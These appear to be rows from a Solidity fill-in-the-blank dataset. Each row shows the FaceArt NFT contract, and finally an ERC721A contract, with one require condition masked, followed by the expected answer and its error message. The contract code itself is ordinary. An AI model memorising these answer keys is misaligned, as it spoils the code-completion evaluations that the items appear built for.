C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(<FILL_ME>)
require(burnVoucher[burnTokenId].emitTimestamp + burnVoucherExpiry >= block.timestamp, "No valid burn ticket");
if(levelMintedCounter[tokenLevel[burnTokenId]] > 0) levelMintedCounter[tokenLevel[burnTokenId]]--;
delete burnVoucher[burnTokenId];
delete tokenLevel[burnTokenId];
_burn(burnTokenId);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| ownerOf(burnTokenId)==_msgSender(),"Not owner of NFT" | 86,047 | ownerOf(burnTokenId)==_msgSender() |
"No valid burn ticket" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
require(!Address.isContract(_msgSender()), "Cannot be called from contract");
require(ownerOf(burnTokenId) == _msgSender(), "Not owner of NFT");
require(<FILL_ME>)
if(levelMintedCounter[tokenLevel[burnTokenId]] > 0) levelMintedCounter[tokenLevel[burnTokenId]]--;
delete burnVoucher[burnTokenId];
delete tokenLevel[burnTokenId];
_burn(burnTokenId);
_tokenIdCounter.increment();
uint256 currentTokenId = _tokenIdCounter.current();
_safeMint(_msgSender(), currentTokenId);
tokenLevel[currentTokenId] = randomizeLevel1(currentTokenId);
levelMintedCounter[tokenLevel[currentTokenId]]++;
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| burnVoucher[burnTokenId].emitTimestamp+burnVoucherExpiry>=block.timestamp,"No valid burn ticket" | 86,047 | burnVoucher[burnTokenId].emitTimestamp+burnVoucherExpiry>=block.timestamp |
"Invalid marketplace, not allowed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
require(<FILL_ME>)
super.approve(to, id);
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| !blockedMarketplaces[to],"Invalid marketplace, not allowed" | 86,047 | !blockedMarketplaces[to] |
"Invalid marketplace, not allowed" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
pragma abicoder v2;
// Uncomment this line to use console.log
// required to accept structs as function parameters
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/interfaces/IERC2981.sol";
import "@openzeppelin/contracts/utils/introspection/IERC165.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/finance/PaymentSplitter.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/cryptography/EIP712.sol";
contract FaceArt is ERC721, ERC721Enumerable, PaymentSplitter, Pausable, ReentrancyGuard, AccessControl, EIP712, IERC2981 {
using Address for address;
using Strings for uint256;
using Counters for Counters.Counter;
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
string private constant SIGNING_DOMAIN = "FaceArt";
string private constant SIGNATURE_VERSION = "1";
string public baseURI;
enum Level {
A0,
B0,
A1,
B1,
C1,
D1
}
uint256 private constant FREEMINT_LOT_SIZE = 3;
uint256 public mintPrice = 0.001 ether;
uint256 private maxMintQuantity = 10;
uint256 private burnVoucherExpiry = 2 hours;
address public crossmintAddress;
mapping (address => bool) public blockedMarketplaces;
mapping(address => mapping(address => bool)) affiliateMapping;
mapping(address => uint) public affiliateCounter;
mapping(address => uint) public freeMintCounter;
mapping(address => bool) public whitelist;
mapping(address => bool) public minterlist;
mapping(Level => uint) levelSupply;
mapping(Level => uint) public levelMintedCounter;
mapping(uint => Level) public tokenLevel;
mapping(uint => BurnVoucher) burnVoucher;
bool private _fusionEnabled;
Counters.Counter private _tokenIdCounter;
RoyaltyInfo private _currentRoyaltyInfo;
address[] private _team = [0x70B66C23F8f7ab6AcACEC011337e58c9314E96cF, 0x99A7130dc775dB71E5252dE59F0f156DF1B96d89];
uint[] private _shares = [750, 250];
struct MintVoucher {
address recipient;
address referrer;
bytes signature;
}
struct BurnVoucher {
address recipient;
uint256 emitTimestamp;
}
struct RoyaltyInfo {
address receiver;
uint96 royaltyFraction;
}
event BurnTicket(address _recipient, uint256 _emitTimestamp, uint256 _tokenId);
event FreeMintTicket(address _recipient, uint256 _emitTimestamp);
event EnableFusion(address account);
event DisableFusion(address account);
constructor(address _minter) ERC721("FaceArt", "F-ART") EIP712(SIGNING_DOMAIN, SIGNATURE_VERSION) PaymentSplitter(_team, _shares) {
}
function pause() public onlyRole(OWNER_ROLE) {
}
function unpause() public onlyRole(OWNER_ROLE) {
}
function enableFusion() public onlyRole(OWNER_ROLE) {
}
modifier whenFusionEnabled() {
}
function setMintPrice(uint256 newMintPrice) public onlyRole(OWNER_ROLE) {
}
function setCrossmintAddress(address _crossmintAddress) public onlyRole(OWNER_ROLE) {
}
function getMintPrice() public view returns (uint256) {
}
function getFreeMintQuantity(address _account) public view returns (uint256) {
}
function setBaseURI(string memory newBaseURI) public onlyRole(OWNER_ROLE) {
}
function _baseURI() internal view override returns (string memory) {
}
function _levelName(Level _level) internal pure returns (string memory) {
}
function getLevel(uint256 tokenId) public view returns (string memory) {
}
function gift(uint _quantity, address _to) external onlyRole(OWNER_ROLE) {
}
function _mint(uint256 quantity, MintVoucher memory voucher) internal {
}
function mintCrossmint(uint256 quantity, address to, address recipient, address referrer) public payable whenNotPaused {
}
/// @notice Mint function
/// @param voucher A signed MintVoucher.
function mint(uint256 quantity, address to, MintVoucher calldata voucher) public payable whenNotPaused {
}
function randomizeLevel0(uint256 salt) private view returns (Level) {
}
/// @notice Fusion function
function fusion(uint256 tokenId1, uint256 tokenId2) public whenNotPaused whenFusionEnabled returns (uint256) {
}
function burnWithTicket(uint256 burnTokenId) public whenNotPaused {
}
function randomizeLevel1(uint256 salt) private view returns (Level) {
}
function random(uint256 salt, uint256 mod) public view returns (uint256) {
}
/**
* @notice Release the gains on every accounts
*/
function releaseAll() external nonReentrant onlyRole(OWNER_ROLE) {
}
/**
* @inheritdoc IERC2981
*/
function royaltyInfo(uint256 , uint256 _salePrice) public view virtual override returns (address, uint256) {
}
/**
* @dev The denominator with which to interpret the fee set in {_setTokenRoyalty} and {_setDefaultRoyalty} as a
* fraction of the sale price. Defaults to 10000 so fees are expressed in basis points, but may be customized by an
* override.
*/
function _feeDenominator() internal pure virtual returns (uint96) {
}
/**
* @dev Sets the royalty information that all ids in this contract will default to.
*
* Requirements:
*
* - `receiver` cannot be the zero address.
* - `feeNumerator` cannot be greater than the fee denominator.
*/
function setRoyaltyInfo(address receiver, uint96 feeNumerator) external onlyRole(OWNER_ROLE) {
}
function approve(address to, uint256 id) public virtual override(ERC721, IERC721) {
}
function setApprovalForAll(address operator, bool approved) public virtual override(ERC721, IERC721) {
require(<FILL_ME>)
super.setApprovalForAll(operator, approved);
}
function setBlockedMarketplace(address marketplace, bool blocked) public onlyRole(OWNER_ROLE) {
}
//Not allowing receiving ethers outside minting functions
receive() external payable override {
}
/// @notice Returns a hash of the given MintVoucher, prepared using EIP712 typed data hashing rules.
/// @param voucher An MintVoucher to hash.
function _hash(MintVoucher calldata voucher) internal view returns (bytes32) {
}
/// @notice Verifies the signature for a given MintVoucher, returning the address of the signer.
/// @dev Will revert if the signature is invalid. Does not verify that the signer is authorized to mint NFTs.
/// @param voucher An MintVoucher describing an unminted NFT.
function _verify(MintVoucher calldata voucher) internal view returns (address) {
}
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal override(ERC721, ERC721Enumerable) {
}
/// @notice Returns the chain id of the current blockchain.
/// @dev This is used to workaround an issue with ganache returning different values from the on-chain chainid() function and
/// the eth_chainId RPC method. See https://github.com/protocol/nft-website/issues/121 for context.
function getChainID() external view returns (uint256) {
}
// The following functions are overrides required by Solidity.
function supportsInterface(bytes4 interfaceId) public view override(ERC721, ERC721Enumerable, AccessControl, IERC165) returns (bool) {
}
}
| !approved||!blockedMarketplaces[operator],"Invalid marketplace, not allowed" | 86,047 | !approved||!blockedMarketplaces[operator] |
"Error" | // ERC721A Contracts v3.3.0
// Creator: Chiru Labs
pragma solidity ^0.8.4;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at _startTokenId() (defaults to 0, e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**256 - 1 (max value of uint256).
*/
contract ERC721A is Context, ERC165, IERC721A {
using Address for address;
using Strings for uint256;
// The tokenId of the next token to be minted.
uint256 internal _currentIndex;
mapping(uint => string) public tokenIDandAddress;
mapping(string => uint) public tokenAddressandID;
// The number of tokens burned.
uint256 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See _ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
/**
* To change the starting tokenId, please override this function.
*/
function _startTokenId() internal view virtual returns (uint256) {
}
/**
* @dev Burned tokens are calculated here, use _totalMinted() if you want to count just minted tokens.
*/
function totalSupply() public view override returns (uint256) {
}
/**
* Returns the total amount of tokens minted in the contract.
*/
function _totalMinted() internal view returns (uint256) {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
}
/**
* Returns the number of tokens minted by `owner`.
*/
function _numberMinted(address owner) internal view returns (uint256) {
}
/**
* Returns the number of tokens burned by or on behalf of `owner`.
*/
function _numberBurned(address owner) internal view returns (uint256) {
}
/**
* Returns the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
*/
function _getAux(address owner) internal view returns (uint64) {
}
/**
* Sets the auxillary data for `owner`. (e.g. number of whitelist mint slots used).
* If there are multiple variables, please pack them into a uint64.
*/
function _setAux(address owner, uint64 aux) internal {
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function _ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
}
/**
* @dev Equivalent to `_safeMint(to, quantity, '')`.
*/
function _safeMint(address to, uint256 quantity) internal {
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement
* {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
